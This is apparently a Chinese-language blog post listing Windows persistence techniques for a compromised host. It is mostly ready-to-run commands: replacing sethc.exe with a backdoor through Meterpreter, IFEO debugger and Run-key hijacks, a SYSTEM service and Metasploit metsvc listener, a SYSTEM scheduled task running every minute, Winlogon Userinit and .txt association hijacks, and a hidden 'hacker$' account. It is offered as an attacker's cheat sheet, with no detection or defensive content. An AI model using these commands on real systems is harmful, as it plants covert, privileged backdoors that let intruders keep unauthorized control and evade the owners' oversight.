Windows权限维持

1.辅助功能镜像劫持

登录前可以使用的功能:

屏幕键盘c:\windows\system32\osk.exe、放大镜c:\windows\system32\Mageify.exe、粘滞键c:\windows\system32\sethc.exe(5次shift键)

MSF,开启3389->解决乱码问题->修改粘滞键原名->移入后门

meterpreter > run post/windows/manage/enable_rdp
meterpreter > shell
C:\Windows\system32>chcp 65001
C:\Windows\system32>ren c:\windows\system32\sethc.exe sethc1.exe
C:\Windows\system32>copy c:\Users\leiyneko\Desktop\shell.exe c:\windows\system32\sethc.exe

rdesktop IP:3389,Linux工具连接远程桌面,5次shift

2.IFEO映像劫持

运行程序时,系统会查IFEO注册表,如果存在debugger键值,会执行debugger数据里路径的程序

程序在注册表(regedit.exe)中的位置,HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

将后门加入(/t 字符串类型),打开IE浏览器触发

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "debugger" /t REG_SZ /d "c:\Users\leiyneko\Desktop\shell.exe"

3.启动项

目录启动项(放入后门)

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\

注册表启动项

不需要管理员权限(用什么用户加后门,打的就是什么用户)

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

需要管理员权限

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

加入后门,重启触发

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "cmd" /t REG_SZ /d "c:\Users\leiyneko\Desktop\shell.exe"

 4.服务

添加system权限服务(用cmd打开后门不容易闪退,加入启动项)

sc create mysql2008 binpath="cmd.exe /k c:\Users\leiyneko\Desktop\shell.exe"  start="auto" obj="localsystem"
sc start mysql2008

MSF模块(可能不好用)

建服务

meterpreter > run metsvc

监听

msf6 exploit(multi/handler) > set payload windows/metsvc_bind_tcp
msf6 exploit(multi/handler) > set RHOST IP
msf6 exploit(multi/handler) > set LPORT 31337
msf6 exploit(multi/handler) > run

5.计划任务

创建system权限计划任务(一分钟执行一次):

schtasks /create /ru system /sc minute /mo 1 /tn "mysqlstart" /tr c:\s.exe

6.winlogon用户初始化

winlogon.exe是登录前就有的重要进程,负责将用户配置文件加载到注册表

在原来基础上加入后门,如果没有userinit.exe会无法登录

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /f
reg add  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,c:\Users\leiyneko\Desktop\shell.exe," /f

7.文件关联

查看后缀指向的文件类型

C:\Users\ly>assoc .txt
.txt=txtfile

文件类型在注册表(regedit.exe)中的位置,HKEY_CLASSES_ROOT

将txtfile对应的程序改为后门(/ve是默认和类型在注册表看)

reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\Users\leiyneko\Desktop\shell.exe %1" /f

8.影子用户

创建比较隐蔽的影子用户

net user hacker$ 123456 /add
posted @ 2022-12-06 16:34  Hacker&Cat  阅读(55)  评论(0编辑  收藏  举报